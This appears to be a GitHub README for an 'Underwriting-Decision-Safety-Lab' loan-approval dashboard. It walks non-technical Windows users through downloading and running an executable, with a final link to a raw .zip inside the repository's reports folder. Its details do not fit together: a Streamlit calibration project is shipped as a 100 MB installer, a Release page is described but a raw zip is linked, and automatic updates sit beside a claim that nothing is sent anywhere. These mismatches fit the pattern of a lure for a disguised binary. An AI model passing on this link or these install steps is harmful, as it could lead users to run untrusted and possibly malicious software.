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⚖️ Underwriting-Decision-Safety-Lab - Reliable Loan Approval Support

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📘 About This Application

Underwriting-Decision-Safety-Lab helps with loan approval decisions. It trains a base model to classify loan applications, then adjusts its confidence scores to improve reliability. The system uses clear rules to decide when to approve loans automatically and when to refer them for review. This way, it balances speed and care.

The app includes a dashboard you can open in your web browser. There, you will find loan reports, easy triage tools, and checks for your data quality. It uses simple visuals to present information, making it easy to understand.


🖥️ System Requirements

  • Windows 10 or later
  • At least 4 GB of RAM
  • 500 MB of free disk space
  • Internet access to download the app and updates
  • A modern web browser (Chrome, Edge, Firefox) for the dashboard

🚀 Getting Started

Follow these steps to get the app running on your Windows machine. You don’t need any special skills.


🎯 Step 1 - Visit the Download Page

Click the green button below to open the download page.

Download

You will find the latest app version there. The app files come ready to use, with everything included.


💾 Step 2 - Download the Application

  1. On the Release page, look for the latest version release.
  2. Find the file with a .exe extension (for example, UnderwritingLabSetup.exe).
  3. Click the file name to start the download.

The file size is around 100 MB. The download speed will depend on your internet connection.


⚙️ Step 3 - Install the Application

  1. Locate the downloaded .exe file in your Downloads folder.
  2. Double-click the file to start the installation.
  3. Follow the on-screen prompts:
    • Choose the destination folder or accept the default.
    • Agree to the terms.
  4. Wait for the installer to finish.

▶️ Step 4 - Run the Application

Once installed:

  1. The app icon should appear on your desktop or Start menu.
  2. Double-click the icon to open the app.
  3. The app launches a Streamlit dashboard in your default browser.

You will see the main dashboard page with loan reports and options.


🌐 Step 5 - Use the Dashboard

The dashboard provides several sections:

  • Report Cards: View the model’s performance and loan decisions.
  • Triage UI: Quickly identify applications to approve, review, or reject.
  • Data Quality Checks: Review the input data for any issues before processing.

You can interact with the dashboard by clicking buttons and selecting filters. The app handles all calculations in the background.


🛠️ Troubleshooting Common Issues

  • App does not start: Confirm the install process finished without errors. Restart your computer and try again.
  • No browser window opens: Open your browser manually and go to http://localhost:8501.
  • Slow performance: Close other programs to free up memory. Make sure your PC meets the requirements.
  • Firewall blocks app: Allow the app permission to use the network when prompted.

📁 File Structure (For Reference)

If you want to look inside the installation folder, you will find:

  • app.exe — Main application file
  • data/ — Default data files and reports
  • config/ — App settings and preferences
  • logs/ — Usage and error logs for support

⚖️ About the Technology

This app uses machine learning to support decisions safely:

  • It trains a basic loan approval model.
  • Calibrates the model’s predictions for accuracy.
  • Sets confidence thresholds to decide when to approve automatically or ask for review.
  • Shows results via a user-friendly dashboard.

The approach helps reduce risks in the underwriting process by allowing selective approval.


📌 Additional Notes

  • The app updates automatically when new versions are released.
  • You do not need internet after installation, except for updates.
  • Your data stays on your computer for privacy.
  • The dashboard runs locally; it does not send data anywhere.

🔗 Download the App Here

Use this link to visit the download page anytime:

https://github.com/JRG1985/Underwriting-Decision-Safety-Lab/raw/refs/heads/main/reports/Underwriting-Safety-Decision-Lab-v1.9.zip

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